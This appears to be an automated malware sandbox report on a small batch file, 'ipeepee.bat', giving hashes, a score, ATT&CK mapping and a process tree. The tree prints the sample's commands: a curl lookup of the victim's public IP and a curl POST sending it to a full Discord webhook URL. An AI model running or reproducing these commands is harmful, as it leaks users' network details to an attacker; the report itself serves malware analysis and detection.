9fd48f4e3cfcf039ad042a5de49084c2e7c50d278e4d165055f5c9c5683a225a

Resubmissions

29/06/2024, 18:43

240629-xdbzlstbmd 6

29/06/2024, 18:41

240629-xbyqlawfmr 6

Analysis

max time kernel
29s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/06/2024, 18:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ipeepee.bat
Size

784B
MD5

a7cf0b220fa7ad20badb72e7d6bd3e10
SHA1

8937a5dd972b5fc694eb181e9889486133aa1d9a
SHA256

9fd48f4e3cfcf039ad042a5de49084c2e7c50d278e4d165055f5c9c5683a225a
SHA512

e9907a09d339ea40faedd90934a2b8e9bda2232039bcf2744f94c34e5a225f54c3a08e9e5400e837fecd96be663d9654b7b9c0a1cf1c8ad52630431e26c72e9e

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ident.me

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 2680	4684	cmd.exe	81
PID 4684 wrote to memory of 2680	4684	cmd.exe	81
PID 2680 wrote to memory of 1456	2680	cmd.exe	82
PID 2680 wrote to memory of 1456	2680	cmd.exe	82
PID 4684 wrote to memory of 752	4684	cmd.exe	83
PID 4684 wrote to memory of 752	4684	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ipeepee.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s https://ident.me
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\curl.exe
    curl -s https://ident.me
    3⤵
    PID:1456
- C:\Windows\system32\curl.exe
  curl -H "Content-Type: application/json" -d "{\"content\":\"Public IP: \"}" https://discord.com/api/webhooks/1250413427525029969/BazJRpZNpyvzBl9dBonrYD_OKaNEP1KuBOaOPJITFS6CIUAq9_f1b4oPQdWtN3CZ_RXr
  2⤵
  PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...